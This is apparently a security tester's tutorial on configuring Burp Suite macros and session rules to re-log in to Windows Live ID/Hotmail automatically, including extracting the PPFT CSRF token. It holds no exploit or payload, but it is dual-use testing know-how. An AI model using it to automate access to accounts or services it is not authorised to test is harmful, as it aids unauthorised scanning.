The following steps are starting from scratch, but might be useful if you’re trying the same thing elsewhere.

1. Create a macro that logs in to LiveID

This setting is under Options->Sessions->macros.  Here you want to create a rule that re-logs in. I used four requests to simulate a login to hotmail, though it could be various sites. The requests looked something like this:

Request 1:

GET / HTTP/1.1

Request 2:

Grab all the parameters from the request 1 redirect

GET /login.srf?wa=wsignin1.0&rpsnv=11&ct=1328218303&rver=6.1.6206.0&wp=MBI& HTTP/1.1

Request 3 – you’ll notice a csrf value in the page retrieved from Request 2 (PPFT). Grab that and put it in the request.

POST /ppsecure/post.srf?wa=wsignin1.0&rpsnv=11&ct=1328218303&rver=6.1.6206.0&wp=MBI& HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 464*X3vaE0zlJd%21CuSvWW5KR7oo821b05kJ*q*QI86LZ%21KAITFA45s%21j9AS1hbDBJ8l*Dm6WaSaeLkqwQoalApRiYR6JDKnYED4j*mxlN5aS1SOzap5Ny2ATyi041M1nfhrnlMUFQQxem5miQ1B1wSFtsmJyJyuJ1WxnC*1D6AVXpDYoUS7vQ9z6ybDQ3Zt3MsXM*DYw2yCpt0hnsRm2RmosTXhwBLxbtfIZQWCYJJ6Pimw4yg%24%24&idsbho=1&PwdPad=&sso=&i1=1&i2=1&i3=29830&i4=&i12=1&i13=&i14=1092&i15=1506&i16=9462&i17=

Request 4, actually might not be necessary… but just follow the redirect again.

One piece here is extracting information from previous requests. To do this, configure the individual requests and create a custom parameter in the response. For example, in request 2, highlight the PPFT value and burp will take care of adding it. It should end up looking something like this:

Most the parameters can be prefilled in request 3, but the canary takes that extra step.

2. Create Session Rules that Detect if you’re logged out, and if you are, call the macro from step 1

Like step 1, this is pretty straightforward using burp. Go to the session handling section and create a new rule. In that rule, add a a “Rule action”. This action checks if a session is valid or not, and if it’s not, it runs the macro we just created. In this case, I detect if I’m logged out if I’m redirected to or if I see “Windows Live ID requires JavaScript to sign in.” in the response.

^^ this is the redirect check

If I am logged out, I tell the session handling action to call the macro we created.

The last thing that’s necessary here is to define the scope, both in terms of the tools and the sites. For me, I added all tools to the scope other than the proxy, and to the URL scope.

3. Troubleshoot using sessions tracer

One essential debugging tool is to use the session tracer. A good trace should look something like the following:

Go through the requests one by one to make sure everything goes as expected, first the detection that you’re not logged in, then the various requests necessary to login.

Anyway, it took me a bit to get this working properly, so hopefully this is helpful. Have fun!